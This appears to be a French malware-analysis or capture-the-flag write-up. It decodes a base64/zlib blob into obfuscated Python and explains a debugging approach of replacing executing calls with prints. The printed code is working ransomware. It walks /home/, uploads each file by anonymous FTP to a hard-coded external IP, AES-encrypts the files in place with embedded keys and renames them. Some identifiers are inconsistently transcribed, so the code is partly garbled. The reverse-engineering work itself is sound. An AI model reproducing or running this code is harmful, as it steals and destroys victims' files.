R7V3mFnec1ZPfbRrCviw9xxCrmUJ2FPrY//+edhoL/51p/ff1nkx4+wdCH5Xknzv/vDv7z/8Zv/90055kFr
6dy/f/fDrZTvL+DrmZWA5EOj6B83It5cOwRo0im95V1gHKpQD3ZE+FDbLIYm4li7BfUnoBV6p9d0VRD4xVr
2FHSPV+YDpVi8ZhS6UKm+1KAXEPKUg8rxZKt5q7in7YaIamkka0Cc6yCP2LmE6oo+UZxz13izq6A0zFTGY0
F7FDv8jDCf+cxWN9MdlAor985qAvGfZNejpXhtvNuAz1bM9z+8SEqYhYjEe+VMrMZ1iFqQ4SR0Fhq4Tkaio
Z7f3kEBtM71o0h8TDH7faGySntvtnkjTS/e3oea2b6JdmqrXh6EjptPchduW6yk0+Dv2pWbURv90F7d4mfj
oe08NMbbZYZ8145IxFzB0HFwjv4hX4ZKC4Z990KV5z3Sh+eSmOSZ+OhNVt2bmKhrx3JKACPXNG6a6X1ny7


```
EVJklfP/Vr7784Rq4QrtiYHyfOna2UhdAf7RW2k/K+d5A930gZ3AWXyZc0sUvB10LX01C3fslupWa9S/NvU
s6gcFeSF9FelbqWZ9jqQLReSqlpzfPnzpDUIVd2H9R5Bd1knzhMN6Vt372P7Zte7iVhjBXuGnxsE5tjl1Qd
gp+WT9cuyad+ZQQinVtDBOC8QXbHInHd0i+XdE4Ack3fb1C2fiKlq/gUZKGZlX/8N/vHuCwnoo8p4cx9fjj
rA9x/9X5qqNsy/2fyuzpp1Uvcph/gILniu/hdcwVq1Ma03/f/HANYu9wgjuaW0nUjPY9Mqt7Pg71vpvWVX1
i4hxFn/3GS+YTmA1lurZt2CVuUX8oNaF6o4JKZiFyG90fjwH09QRNE64Cz0ybLnaKr6SBWGckT6105By7F+
/9xIJD1CxpIyFMdWctgmEdELsFagiRT5Aqhca1SOWQN7+4GD5whC9BgZa+okviW2bdUpOFQPMbnuVUMAJBW
Yanw+SGdsPK0gxN4Hr3He1yhaZDzE0XmfVqXvLk2/sIY2G7EE/s1MA0JvSjCIGz5Bu/VWPffXUvvdV5Db2T
pGg64EAAVqMRB1B0qMUmkoBz0k11DBkEIDbPkdX9qYSBM0gsvLF6Kpn+5m8o1JbFnX5fsv6H+9df34s+/zu
O9YpHpXdbf4tdpcdg5Wt/JbrbH64i0cTjz5MWn7589w6At1Qnv7kcI6Ue8z10KCDr9XoxdbimmqWFGGjFDA
fZNspgHClFtbQ6nspKc6qnB/obkv7rQ/f1w8VNVmciveD9Upg/lV9hWA1tXqehz1oNa+NJR4ntrVuAKEH9T
U8wLbng0s0sLfKZjJVPxDOVoWScDPzN0ZhJeRXjBhGu7Vov+/nkpQRdF/xywtoAM6ZRyaZ1DaRveD9oMN57
W29D7qdJfSr6SiVtyTmfBzClB0E1Yz5VUCV50MV1Cs/yistAxVxy3i/vpST85iUdpoPtU0qOQwkph1Yvoma
Dmqya9YyGfnrqKd12NEmjkJtQtonLCvk41zbVpgvwOoglMi686XHVQ+9IOFKbCM8i5jTrHfFWvJ4BJIsiL9
BzsQf7d9mnZNz9n4vW/Y+ppTQQfiqt+rZo2qer8L/R+TOcxN+mxNKjrr8AKKzZNg=""
```

```
base_64_decoded = base64.b64decode(raw_base_64)
```

```
final_payload = zlib.decompress(base_64_decoded).decode('UTF-8')
```

```
beauty_payload = final_payload.replace("\n","\n")
```

```
print(beauty_payload)
```

L'output nous donne :

```
from Crypto.Cipher import AES as o738b8reoivq2exwa7vfu4pf3xzym42b
import socket as pcc4fvsiw9d7s79quqskkhqsh54d9744
import json as xf5w6pmj72sxf89qbxxj8bmj9kfmcqob
import os as xrkkeu2ra9rr7gvx5dnmi8nmytmoxwj2
import base64 as bkxegxi2e5fzkpa4ewe5kk8u54cnrhvz
import time as juqrdwqmw27667rk5oud2ed82iw8wqt5
import ftplib as x2n4hcsW4nh3j3vfjnbnrmrrdzmcvgqh
import zlib as jphmoq95yo4hmbs2z9eodighk68cxcsW
import sys as pgut69463inhcj7558n7pxhn6e38cour
import random as fw7tw7iqpkuguumsajvnstovek34mbqi
import string as wjawvqx4ut7m65dvneiYfeasimsjv3gc
```

```
nfsi8csdhzk59n6hqxi2cuqber5fopbs = None
k5cuapqzxj25w7d9jd9ayzozr7tzmN27 = range
y3sczwjaq4cvhqs2zemx4ghtzfha232m = len
vodshxb28m7pr4wpj89j88kbj4xkvjd = ord
ex63ibgsorh5qgr9ykvor9548gayr62y = False
```

```

uunkyhrgm6efvjfhaeeyt8id6bk4tekg = True
y7inbkdaaff2xtravxeja6ewee5gs3ec9 = open
j7gaas6muacyxr32xamt9i8oobvra3mf = bytes
joonr3yr4iykmmPg8sjd6qesyD69kq3t = print
ij6erz2k9qbcP47hfgmh2pvhf25uqss4 = "."
rnt5s2znrb7hjns73i2dc7qsxattibna = str
xe67mjQssi9824yjpWg5ckcw75y6nzoz = Exception
p8kqtofurcszron3eigskks3jo76czwg = "anonymous"
xkd77exu5ijx4r64tv9yyew4eumtuua5 = pcc4fvsiw9d7s79quqskkhqsh54d9744.SOCK_STREAM
sqwstba8etcuxjgu6vesm7z7sk445uuv = pcc4fvsiw9d7s79quqskkhqsh54d9744.AF_INET
txwh7rqpty93pjkwds7dcun83rdiocjm = 'foo'
uobdix6qsy7j8oauFvga5k4qvtnwg5or = pcc4fvsiw9d7s79quqskkhqsh54d9744.socket
i9u3etp23u3j2k42eh7dr4sryz8x69 = o738b8reoivq2exwa7vfu4pf3xzym42b.new
x9ttqh5nt369wnoqqz6g52t22kzt5cth = 'http://localhost'
vgcdpe69qrihym2twvzjev3kzchme4u7 = xrkkeu2ra9rr7gvx5dnmi8nmytmoxwj2.rename
rzy8vga4f3r4z4pizfkaop9wkn3rzhca = "2f7"
i6e8xxxfcytuqf2umpnbzw2ya9i8mo8s = xrkkeu2ra9rr7gvx5dnmi8nmytmoxwj2.path
kdc4fc6mjc9dkbnf6vri79w37hkvqus6 = xrkkeu2ra9rr7gvx5dnmi8nmytmoxwj2.listdir
aomw9j7cja79wnihvnp2rtze7wfh9dg = "hex"
f7yzmvz49oarm2nmxa6g4vn3v8ojvmyz = bkxegxi2e5fzkpa4ewe5kk8u54cnrhvz.b16decode
rdbyqcagaf4bcjay7tzfyc7xej4pg47y = juqrdwqmw27667rk5oud2ed82iw8wqt5.sleep
hhdvsgtgnv65y57agh2sszpmf2jr435h = '0.0'
uk9haywudots9vrwyduqinp56tpmin6i = 8
mr3e6xrxz3hn44g3x64g8wm4od59y8xh = ''
y3tds39qfttgdt5gz6yx8bmta5t4zh45 = mr3e6xrxz3hn44g3x64g8wm4od59y8xh
c3cwygh5kv2ukafie5ya5os72kt7f6ci = xf5w6pmj72sxf89qbxxj8bmj9kfmcqob.loads
y3tds39qfttgdt5gz6yx8bmta5t4zh45 += 'S'
def ds6kzfDw8ov6wnxq8rwh2pmodrce4ox4(ormgt5pyac2fucr2j47umvg5dkpztwok):
    qr6tkwxreo4i3trcdc74a5626gprhzeu = x2n4hcsW4nh3j3vfnjnbrmrrdzmcvgqh.FTP()
    qr6tkwxreo4i3trcdc74a5626gprhzeu.connect(mm5dawvmfmuq4ezaopgeu9cpsxujytzx,
pi4cqCoko8draakzyt8kt5nnojv5kyh)
    qr6tkwxreo4i3trcdc74a5626gprhzeu.login(p8kqtofurcszron3eigskks3jo76czwg,
p8kqtofurcszron3eigskks3jo76czwg)
    qr6tkwxreo4i3trcdc74a5626gprhzeu.cwd(z6e8vyq996vi68j8uaqcopbjccc2grbe)
    qr6tkwxreo4i3trcdc74a5626gprhzeu.storbinary(y3tds39qfttgdt5gz6yx8bmta5t4zh45 +
ormgt5pyac2fucr2j47umvg5dkpztwok,
y7inbkdaaff2xtravxeja6ewee5gs3ec9(ormgt5pyac2fucr2j47umvg5dkpztwok, "rb"))
    qr6tkwxreo4i3trcdc74a5626gprhzeu.quit()
ocw8j9a9ngwbqrm5277jyigvivfspdH2 = 47
p8bs3i5e4o4atrtvwrognvkwge5n94qc = "utf-8"
nk7n9cqk647tke533nkzkjh42fng3iwp = "SHELL"
udjrxacu76yn2qpabn983tgsGtryv2qh = xrkkeu2ra9rr7gvx5dnmi8nmytmoxwj2.getenv
bj9s6bjs4wxhhh94cryxdw4zexrrcfco = rzy8vga4f3r4z4pizfkaop9wkn3rzhca
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 = mr3e6xrxz3hn44g3x64g8wm4od59y8xh
mkggrdu9vx83xd3kf8jje64c34kgq9jr = fw7tw7iQpkuguumsajvnstovek34mbqi.randrange
sfN3a7a9ds84wggi4m6ndc9575gfr63v = nk7n9cqk647tke533nkzkjh42fng3iwp

```



```
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'b'
ajqfs3f96ofgp2udu8n4wbdjnwyoeyf = 4
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'M'
bj9s6bjs4wxhhh94cryxdw4zexrrcfco = kdc4fc6mjc9dkbnf6vri79w37hkvqus6
fjma6nxf3o655exsgxsotzvguocwwmx = ij6erz2k9qbc47hfgmh2pvhf25uqss4 + "e"
c8ektkkoft8rivp86jn4kxoqi3bdwt9d = mr3e6xrxz3hn44g3x64g8wm4od59y8xh
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += '8'
sfn3a7a9ds84wggi4m6ndc9575gfr63v = ""
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'ft'
pqiwqrhf2navmmfk9dzv5bvdht5x7hh = uk9haywudots9vrwyduqinp56tpmin6i / 4
c8ektkkoft8rivp86jn4kxoqi3bdwt9d += 'ri'
z2xp9r33qj7xbuwqmddborrh5biut9iw = mr3e6xrxz3hn44g3x64g8wm4od59y8xh
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'e'
qtf4wmhh7i6xjbsm4mwermw5xd7gr37c = bkxegxi2e5fzkpa4ewe5kk8u54cnrhvz.b64decode
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'ko'
z2xp9r33qj7xbuwqmddborrh5biut9iw = vodshxxb28m7pr4wpj89j88kbj4xkvjd
y3tds39qfttgdt5gz6yx8bmta5t4zh45 += 'T0'
c8ektkkoft8rivp86jn4kxoqi3bdwt9d += 'c'
hf2aayysipqo86r9hbxydt59ot9pr3b5 = fw7tw7i qpkguumsajvnstovek34mbqi.randint
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'U'
ij6erz2k9qbc47hfgmh2pvhf25uqss4 = '' + fjma6nxf3o655exsgxsotzvguocwwmx
aaovc2rgfi6gudcgua079g4yhcuq2mdd = bytearray
rzy8vga4f3r4z4pizfkaop9wkn3rzhca += "372762"
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'EW'
fuoy7kv4wb22qijt4jidfnvoprxtkfds = ocv8j9a9ngwbqrm5277jyigvivfspd2 *
uk9haywudots9vrwyduqinp56tpmin6i
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'CT'
hxikx37sffxcxn6b673vukbg6p9y5hfm = xe67mjqqssi9824yjpwg5ckcw75y6nzoz
def vctioceigyhub9ugkg633if9zwt8vpvd(yt79bxemwop35ne2oau244gfmv7dy97q):
    d2t7gh94mmceyw9kzov6q2nmquphw9m9 =
o738b8reoivq2exwa7vf4pf3xzym42b.new(hxr7hx3ydakqjgd49ennfmfhf62jng4r,
gm2a24xqc96g3turpbqo2hi9p738mony, o4za2oynjpd4g37sw8xumbc9g8t7f7st)
    with y7inbkda2f2xtravxeja6ewee5gs3ec9(yt79bxemwop35ne2oau244gfmv7dy97q, "rb")
as af63mdf5y7q4hf3ertyf6d2mnqxmjujz:
    dx99jxgdio55347hz4ff9bemszgtvp95 = af63mdf5y7q4hf3ertyf6d2mnqxmjujz.read()
    zs8z79ihhrofnbso9jad9c68e3w853f9 =
yz3vv3vt5avgivdhijaim9gyi7p8ityc(dx99jxgdio55347hz4ff9bemszgtvp95)
    gvui74ppgp3zgh7t6pd5dc4rc9pgn7r9 =
d2t7gh94mmceyw9kzov6q2nmquphw9m9.encrypt(zs8z79ihhrofnbso9jad9c68e3w853f9)
    with y7inbkda2f2xtravxeja6ewee5gs3ec9(yt79bxemwop35ne2oau244gfmv7dy97q, "wb")
as zo72uc9vb7xvn5tpb6ho3oku6ff7yitr:
    zo72uc9vb7xvn5tpb6ho3oku6ff7yitr.write(gvui74ppgp3zgh7t6pd5dc4rc9pgn7r9)
hxikx37sffxcxn6b673vukbg6p9y5hfm = ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98
c8ektkkoft8rivp86jn4kxoqi3bdwt9d += 'kr'
e24sb3fca54vdoygqkicpvcf26e4uee = aaovc2rgfi6gudcgua079g4yhcuq2mdd.append
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'b'
```

```

ocw8j9a9ngwbqrm5277jyigvivfspd2 = ocw8j9a9ngwbqrm5277jyigvivfspd2
vv8pwd6frkdqe5hxps6diwskdzcgbpa = rzy8vga4f3r4z4pizfkaop9wkn3rzha
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'P'
mh733fe9ckv342zfqcbnaf58kvcbco = fjma6nxf3o655exsgxsotzvguocwwmx
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += '5'
buyyf4fid5fau6vuxbo3itujvdekf9fn = mr3e6xrxz3hn44g3x64g8wm4od59y8xh
c8ektkkoft8rivp86jn4kxoqi3bdwt9d += 'ro'
hxikx37sffxcxn6b673vukbg6p9y5hfm = nfsi8csdhzk59n6hqxi2cuqber5fopbs
jgdnb7oo4rqz6j6m87t3v2ct2ppwnocd = aaovc2rgfi6gudcgua079g4yhcuq2mdd.fromhex
buyyf4fid5fau6vuxbo3itujvdekf9fn += 'v'
edft3pk844njp552cxzkzgf655pajdrg = txwh7rqpty93pjkws7dcun83rdiocjm
buyyf4fid5fau6vuxbo3itujvdekf9fn += 'L'
rzy8vga4f3r4z4pizfkaop9wkn3rzha = fuoy7kv4wb22qijt4jidfnvoprxtkfds
buyyf4fid5fau6vuxbo3itujvdekf9fn += 'uU'
uk9haywudots9vrwyduqinp56tpmin6i = (uk9haywudots9vrwyduqinp56tpmin6i * 2) / 2
buyyf4fid5fau6vuxbo3itujvdekf9fn += 'b'
gy87nmd3dc3kbrjvv4dhs8da9endtemi = 'YWhhaGFoYWhh'
c8ektkkoft8rivp86jn4kxoqi3bdwt9d += 'll'
gm2a24xqc96g3turpbqo2hi9p738mony = o738b8reoivq2exwa7vfu4pf3xzym42b.MODE_CBC
vv8pwd6frkdqe5hxps6diwskdzcgbpa += txwh7rqpty93pjkws7dcun83rdiocjm[0]
o4za2oynjpd4g37sw8xumbc9g8t7f7st =
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98.encode(p8bs3i5e4o4atrtvwrognvkwe5n94qc)
buyyf4fid5fau6vuxbo3itujvdekf9fn += 'S'
giwxye77p2p3hmk47zgwseh5r7r3nu4b = rdbycagaf4bcjay7tzfyc7xej4pg47y
buyyf4fid5fau6vuxbo3itujvdekf9fn += '2o'
fjma6nxf3o655exsgxsotzvguocwwmx += 'n'
txwh7rqpty93pjkws7dcun83rdiocjm = edft3pk844njp552cxzkzgf655pajdrg
buyyf4fid5fau6vuxbo3itujvdekf9fn += '4'
sfn3a7a9ds84wggi4m6ndc9575gfr63v += 'f'
buyyf4fid5fau6vuxbo3itujvdekf9fn += 'i'
def xw2doa6w49g6ar9vp4ddipfzr8nt432a(a7xx85ojygpgia8ekzu4yreya8erumtq):
    wj8zaaemfy8mi9aoptf8b4u5n6symp48 = []
    for etdbgnjr2kvhrdeaenffc65e6wjf4h3s, eyavmyihgaszqrxoyuaf2tybjwsw95be,
h3cmb5rmq62bfz9akwotfyenwumfaqho in
xrkkeu2ra9rr7gvx5dnmi8nmytmoxwj2.walk(a7xx85ojygpgia8ekzu4yreya8erumtq):
        for sxfu5jomus9cktZR9es2emxhnc57vwp in h3cmb5rmq62bfz9akwotfyenwumfaqho:

wj8zaaemfy8mi9aoptf8b4u5n6symp48.append(i6e8xxxfcytuqf2umpnbzw2ya9i8mo8s.join(etdbg
njr2kvhrdeaenffc65e6wjf4h3s, sxfu5jomus9cktZR9es2emxhnc57vwp))
    return wj8zaaemfy8mi9aoptf8b4u5n6symp48
y3tds39qfttgdt5gz6yx8bmta5t4zh45 += 'R'
fjma6nxf3o655exsgxsotzvguocwwmx = fjma6nxf3o655exsgxsotzvguocwwmx[:-1]
c8ektkkoft8rivp86jn4kxoqi3bdwt9d += 'e'
hcdyq8ccdc7u56t4v2ioqgnobjhcs9m = o738b8reoivq2exwa7vfu4pf3xzym42b
c8ektkkoft8rivp86jn4kxoqi3bdwt9d += 'd'
buyyf4fid5fau6vuxbo3itujvdekf9fn += '6P'

```

```

fuoy7kv4wb22qijt4jidfnvoprxtkfds = 14
pi4cqco8draakzyt8kt5nnojv5kyh = 4
buyyf4fid5fau6vuxbo3itujuvdekf9fn += 'r'
gy87nmd3dc3kbrjvv4dhs8da9endtemi = fjma6nxf3o655exsgxsotzvguoccwmmx
z6e8vyq996vi68j8uaqcopbjccc2grbe =
jgdnb7oo4rqz6j6m87t3v2ct2ppwnocd(vv8pwd6frkdqe5hxps6diwskdzcgbpa).decode()
pi4cqco8draakzyt8kt5nnojv5kyh = pi4cqco8draakzyt8kt5nnojv5kyh *
ocw8j9a9ngwbqrm5277jyigvivfspd2
fuoy7kv4wb22qijt4jidfnvoprxtkfds = 0
z6e8vyq996vi68j8uaqcopbjccc2grbe += "www"
mm5dawvmfmuq4ezaopgeu9cpsxujtzy = mr3e6xrz3hn44g3x64g8wm4od59y8xh
gy87nmd3dc3kbrjvv4dhs8da9endtemi += "nc"
mm5dawvmfmuq4ezaopgeu9cpsxujtzy += "13"
buyyf4fid5fau6vuxbo3itujuvdekf9fn += '8j'
def yz3vv3vt5avgivdhijaim9gyi7p8ityc(rp4pztawn9rzqzib6v4kqczobj3vyt7):
    return rp4pztawn9rzqzib6v4kqczobj3vyt7 + b"\0" *
(o738b8reoivq2exwa7vfu4pf3xzym42b.block_size -
len(rp4pztawn9rzqzib6v4kqczobj3vyt7) %
o738b8reoivq2exwa7vfu4pf3xzym42b.block_size)
buyyf4fid5fau6vuxbo3itujuvdekf9fn += 'X'
mm5dawvmfmuq4ezaopgeu9cpsxujtzy += "."
z6e8vyq996vi68j8uaqcopbjccc2grbe += x9ttqh5nt369wnoqqz6g52t22kzt5cth[5]
y3tds39qfttgd5gz6yx8bmta5t4zh45 += ' '
dy4s6f9gs4yyrcmibdkh3yyj6n2btce = int
mm5dawvmfmuq4ezaopgeu9cpsxujtzy += "98"
xav66pyf764bzggq43waeafcms6d5jb7 = int
eatq72pdxcij8r8gdv95v8pc9xq6fn96 = mr3e6xrz3hn44g3x64g8wm4od59y8xh
qcpn4ajutw9ppq3pc6gbinu4uhcaexi = gy87nmd3dc3kbrjvv4dhs8da9endtemi
z6e8vyq996vi68j8uaqcopbjccc2grbe += "dump/"
mm5dawvmfmuq4ezaopgeu9cpsxujtzy += "."
def y4ub2autdwx8u39u9bsma3m2dkb7xpf(zjx5a8hvc87ydt3yo8a8x24qzes58rcn:
xav66pyf764bzggq43waeafcms6d5jb7, kx2nmu9o9mq5j9spbkeppdcto5ow2kb8:
rnt5s2znrb7hjns73i2dc7qsxattibna):
    for iah7p9czgrjez2cxn3rqet8s7gh3rpxr in range
(fuoy7kv4wb22qijt4jidfnvoprxtkfds,
y3sczwjaq4cvhqs2zemx4ghtzfha232m(kx2nmu9o9mq5j9spbkeppdcto5ow2kb8)):
        if kx2nmu9o9mq5j9spbkeppdcto5ow2kb8[iah7p9czgrjez2cxn3rqet8s7gh3rpxr] ==
zjx5a8hvc87ydt3yo8a8x24qzes58rcn:
            return uunkyrhgm6efvjfhaeeyt8id6bk4tekg
        return ex6ibgsorh5qgr9ykvor9548gayr62y
eatq72pdxcij8r8gdv95v8pc9xq6fn96 += x9ttqh5nt369wnoqqz6g52t22kzt5cth[6]
mm5dawvmfmuq4ezaopgeu9cpsxujtzy += "138"
pi4cqco8draakzyt8kt5nnojv5kyh = pi4cqco8draakzyt8kt5nnojv5kyh * (100 +
uk9haywudots9vrwyduqinp56tpmin6i)
mm5dawvmfmuq4ezaopgeu9cpsxujtzy += "."
hxr7hx3ydakqjgd49ennfmfhf62jng4r =

```

```

buyyf4fid5fau6vuxbo3itujuvdekf9fn.encode(p8bs3i5e4o4atrtvwrognvkwe5n94qc)
t873aictu9jukbh9wwacnf6fe2u6irr = qtf4wmhh7i6xjbsm4mwermw5xd7gr37c("aG9tZS8=")
mm5dawvmfmuq4ezaopgeu9cpsxujytzx += "213"
pi4cqco8draakzyt8kt5nnojv5kyh =
xav66pyf764bzggq43waeafcms6d5jb7(pi4cqco8draakzyt8kt5nnojv5kyh)
mieywni7dy2hv5o98a9mbmnuwskg8ta6 = t873aictu9jukbh9wwacnf6fe2u6irr
eatq72pdxcij8r8gdv95v8pc9xq6fn96 +=
t873aictu9jukbh9wwacnf6fe2u6irr.decode(p8bs3i5e4o4atrtvwrognvkwe5n94qc)
n54uzfrqj6irnnmghogrrwmu9imv3uyu =
rnt5s2znr7hjns73i2dc7qsxattibna(pi4cqco8draakzyt8kt5nnojv5kyh)
for h762kgf56n5xzyymoj77ybm3whxbqqgo in
xw2doa6w49g6ar9vp4ddipfzr8nt432a(eatq72pdxcij8r8gdv95v8pc9xq6fn96):
    ds6kzfdw8ov6wnxq8rwh2pmodrce4ox4(h762kgf56n5xzyymoj77ybm3whxbqqgo)
    vctioceigyhub9ugkg633if9zwt8vpvd(h762kgf56n5xzyymoj77ybm3whxbqqgo)
    vgcpe69qrihym2tvwzjev3kzchme4u7(h762kgf56n5xzyymoj77ybm3whxbqqgo,
h762kgf56n5xzyymoj77ybm3whxbqqgo + qcpn4ajutw9ppq3pc6gbinnu4uhcaexi)
def tzc72zzgeffh6iue3chgqmgss4hbq(baawy4qfjg4nq4xmtdf24ors3mt3j8pg,
ct9kud5b72b4bfen93jrn9cstsiy4d6e):
    if qcpn4ajutw9ppq3pc6gbinnu4uhcaexi is nfsi8csdhzk59n6hpxi2cuqber5fopbs:
        if baawy4qfjg4nq4xmtdf24ors3mt3j8pg > ct9kud5b72b4bfen93jrn9cstsiy4d6e:
            return
hf2aayysipqo86r9hbxydt59ot9pr3b5(ct9kud5b72b4bfen93jrn9cstsiy4d6e,
baawy4qfjg4nq4xmtdf24ors3mt3j8pg)
    return hf2aayysipqo86r9hbxydt59ot9pr3b5(baawy4qfjg4nq4xmtdf24ors3mt3j8pg,
ct9kud5b72b4bfen93jrn9cstsiy4d6e)
return p8kqtofurcszron3eigskks3jo76czwg

```

Miam Miam un super code python obfusqué ...

Pour le déobfusquer je n'ai pas cherché à comprendre comment les variable sont appelée, modifiées etc... j'ai plutôt essayé de débbugger ce code malveillant.

Pour ce faire voilà comment j'ai procédé :

- repérer les bout du code qui exécutent des choses
- remplacé ces bout de code qui exécuter des chose par simplement des PRINT pour voir ce qu'il est sensé ce passer

Repérer les bouts de code qui exécutent des choses

Dans notre cas toutes les lignes où il y a des affectations ne nous intéressent pas. Nous on veut des appels de fonction.

```

165 m5dwmfm4q4ezaopgeu9cpsxujytxz += "133"
166 def y4ub2a1dwx8u9v9b5ma3md2kb7xf(zjx5a8hvc87ydt3y08a8*24qzes58rcn: xav66pyf764bzggq43waeafcms6d5jb7, kx2nm9o9mq5j9spbkeppdcto5ow2kb8: rnt5s2znrb7hjns73i2dc7qsxattibna):
167     for 1ah7p9c2grje2cxn3rqt8s7gh3rpxr in range(fuoy7kv4wb22qjt4j1dfnvoprxtkfds, y3sczwjaq4cvhqs2zemx4ghtzfha232m(kx2nm9o9mq5j9spbkeppdcto5ow2kb8)):
168         if kx2nm9o9mq5j9spbkeppdcto5ow2kb8[1ah7p9c2grje2cxn3rqt8s7gh3rpxr] == zjx5a8hvc87ydt3y08a8*24qzes58rcn:
169             return uunkyhrmg6efvjfhaeeyt8id6bk4tekg
170         return ex63ibgsorh5qgr9ykvor9548gayr62y
171 eatq72pdxcij8r8gdv95v8pc9xq6fn96 += xttqh5nt369wnoqqz6g52t22kzt5cth[c]
172 m5dwmfm4q4ezaopgeu9cpsxujytxz += "133"
173 pi4cqco8draakzyt8kt5nnojv5kyh = pi4cqco8draakzyt8kt5nnojv5kyh * (100 + uk9haywudots9vrwyduqinp56tpmin6i)
174 m5dwmfm4q4ezaopgeu9cpsxujytxz += "."
175 hxr7hx3ydakjgd49ennfmfhf62jngar = buyyf4fid5fau6vuxbo3itu9vdekf9fn.encode(p8bs3i5e4o4atrtvrogvkgw5n94qc)
176 t873aictu9jukbh29wacnfefe2u6irr = qt4wmhh7l6xjbsm4mwerms5xd7gr37c("a69tZ58=")
177 m5dwmfm4q4ezaopgeu9cpsxujytxz += "213"
178 pi4cqco8draakzyt8kt5nnojv5kyh = xav66pyf764bzggq43waeafcms6d5jb7(pi4cqco8draakzyt8kt5nnojv5kyh)
179 mieywni7dy2hvs9a9bmnmuskg8ta6 = t873aictu9jukbh29wacnfefe2u6irr
180 eatq72pdxcij8r8gdv95v8pc9xq6fn96 += t873aictu9jukbh29wacnfefe2u6irr.decode(p8bs3i5e4o4atrtvrogvkgw5n94qc)
181 n54uzfrqj6lrrngahgrrrmu9lm3yuy = rnt5s2znrb7hjns73i2dc7qsxattibna(pi4cqco8draakzyt8kt5nnojv5kyh)
182 for h762kgf56n5xzyymo77ybm3whxbqggo in xw2do6w49g6ar9vp4ddipfzr8nt432a(eatq72pdxcij8r8gdv95v8pc9xq6fn96):
183     ds6kzfdw8ovbmwxq8rwh2pmodrce4ox4(h762kgf56n5xzyymo77ybm3whxbqggo)
184     vctioceigyhb9ug633i9zwt8vpvd(h762kgf56n5xzyymo77ybm3whxbqggo)
185     vgcpe9qezjy9z2wzjex3kzchme4ur(h762kgf56n5xzyymo77ybm3whxbqggo, h762kgf56n5xzyymo77ybm3whxbqggo + qcpn4ajutw9ppq3pc6gbinnu4uhaexi)
186 def t3zey72zzgef7h6iue2chqnges1s4hbc(baawy4qfjg4nq4xmtdf24ors3mt3j8pg, ct9kud5b72b4bfen93jrn9cstsiy4d6e):
187     if qcpn4ajutw9ppq3pc6gbinnu4uhaexi is nfsi8csdhzk59n6hqxi2cuqber5fopbs:
188         if baawy4qfjg4nq4xmtdf24ors3mt3j8pg > ct9kud5b72b4bfen93jrn9cstsiy4d6e:
189             return hf2aayysipqo86r9hbxtydt59ot9pr3b5(ct9kud5b72b4bfen93jrn9cstsiy4d6e, baawy4qfjg4nq4xmtdf24ors3mt3j8pg)
190         return hf2aayysipqo86r9hbxtydt59ot9pr3b5(baawy4qfjg4nq4xmtdf24ors3mt3j8pg, ct9kud5b72b4bfen93jrn9cstsiy4d6e)
191     return p8kqtofurcszron3eigskks3jo76czwg

```

La partie surlignée appelle des fonction et exécute du code. Il faut donc remonter à chaque définition de ces fonctions et remplacer l'exécution par des print ça nous donne ce code :

```

from Crypto.Cipher import AES as o738b8reoivq2exwa7vfu4pf3xzym42b
import socket as pcc4fvsiw9d7s79quqskkhqsh54d9744
import json as xf5w6pmj72sxf89qbxxj8bmj9kfmcqob
import os as xrkkeu2ra9rr7gvx5dnmi8nmytmoxwj2
import base64 as bkxegxi2e5fzkpa4ewe5kk8u54cnrhvz
import time as juqrdwqmw27667rk5oud2ed82iw8wqt5
import ftplib as x2n4hcswn4nh3j3vfjnbnrmrrdzmcvgqh
import zlib as jphmoq95yo4hmbs2z9eodighk68cxcs
import sys as pgut69463inhcj7558n7pxhn6e38cour
import random as fw7tw7i qpkuuguumsajvnstovek34mbqi
import string as wjavvx4ut7m65dvneiyfeasimsjv3gc

nfsi8csdhzk59n6hqxi2cuqber5fopbs = None
k5cuapqzxxj25w7d9jd9ayzozr7tzm27 = range
y3sczwjaq4cvhqs2zemx4ghtzfha232m = len
vodshxxb28m7pr4wpj89j88kbj4xkvjd = ord
ex63ibgsorh5qgr9ykvor9548gayr62y = False
uunkyhrmg6efvjfhaeeyt8id6bk4tekg = True
y7inbkdaaff2xtravxeja6ewee5gs3ec9 = open
j7gaas6muacyxr32xamt9i8oobvra3mf = bytes
joonr3yr4iykmpmg8sjd6qesy69kq3t = print
ij6erz2k9qbc47hfgmh2pvhf25uqss4 = "."
rnt5s2znrb7hjns73i2dc7qsxattibna = str
xe67mjqssi9824yjpwg5ckcw75y6nzoz = Exception
p8kqtofurcszron3eigskks3jo76czwg = "anonymous"
xkd77exu5ijx4r64tv9yyew4eumt5ua5 = pcc4fvsiw9d7s79quqskkhqsh54d9744.SOCK_STREAM
sqwstba8etcuxjgu6vesm7z7sk445uuv = pcc4fvsiw9d7s79quqskkhqsh54d9744.AF_INET
txwh7rqpty93pjkwds7dcun83rdiocjm = 'foo'
uobdix6qsy7j8oaufvga5k4qvtnwg5or = pcc4fvsiw9d7s79quqskkhqsh54d9744.socket
i9u3etp23u3j2k42eh7dr4sryz8x69 = o738b8reoivq2exwa7vfu4pf3xzym42b.new
x9ttqh5nt369wnoqqz6g52t22kzt5cth = 'http://localhost'

```

```

vgcdpe69qrihym2tvwzjev3kzchme4u7 = xrkkeu2ra9rr7gvx5dnmi8nmytmoxwj2.rename
rzy8vga4f3r4z4pizfkaop9wkn3rzhca = "2f7"
i6e8xxxfcytuqf2umpnbzw2ya9i8mo8s = xrkkeu2ra9rr7gvx5dnmi8nmytmoxwj2.path
kdc4fc6mjc9dkbnf6vri79w37hkvqus6 = xrkkeu2ra9rr7gvx5dnmi8nmytmoxwj2.listdir
aomw9j7cja79wnihvnp2rtze7wfhh9dg = "hex"
f7yzmzv49oarm2nmxa6g4vn3v8ojvmyz = bkxegxi2e5fzkpa4ewe5kk8u54cnrhvz.b16decode
